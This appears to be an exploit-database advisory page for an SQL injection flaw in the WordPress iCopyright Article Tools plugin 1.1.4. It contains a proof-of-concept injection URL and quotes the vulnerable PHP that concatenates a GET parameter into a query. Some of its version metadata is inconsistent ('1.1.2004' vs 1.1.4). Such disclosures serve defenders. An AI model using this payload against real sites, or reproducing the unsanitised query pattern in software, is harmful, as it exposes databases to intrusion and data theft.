header-logo
Suggest Exploit
vendor:
iCopyright(R) Article Tools plugin
by:
Miroslav Stampar
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: iCopyright(R) Article Tools plugin
Affected Version From: 1.1.2004
Affected Version To: 1.1.2004
Patch Exists: YES
Related CWE: N/A
CPE: a:wordpress:wordpress:1.1.4
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2011

WordPress iCopyright(R) Article Tools plugin <= 1.1.4 SQL Injection Vulnerability

The WordPress iCopyright(R) Article Tools plugin version 1.1.4 is vulnerable to a SQL injection attack. This is due to the lack of proper sanitization of user-supplied input in the 'id' parameter of the 'icopyright_xml.php' script. An attacker can exploit this vulnerability by sending a specially crafted HTTP request with malicious SQL statements to the vulnerable script. This can allow the attacker to gain access to sensitive information from the database.

Mitigation:

Ensure that user-supplied input is properly sanitized before being used in SQL queries.
Source

Exploit-DB raw data:

# Exploit Title: WordPress iCopyright(R) Article Tools plugin <= 1.1.4 SQL Injection Vulnerability
# Date: 2011-08-29
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/copyright-licensing-tools.zip
# Version: 1.1.4 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/copyright-licensing-tools/icopyright_xml.php?id=1' AND 1=1--%20

---------------
Vulnerable code
---------------
$icopyright_post_id = $_GET['id']; //requested post id
...
$response = $wpdb->get_results("SELECT * FROM $posttable JOIN $usertable on $posttable.post_author=$usertable.ID WHERE $posttable.ID = '$icopyright_post_id'");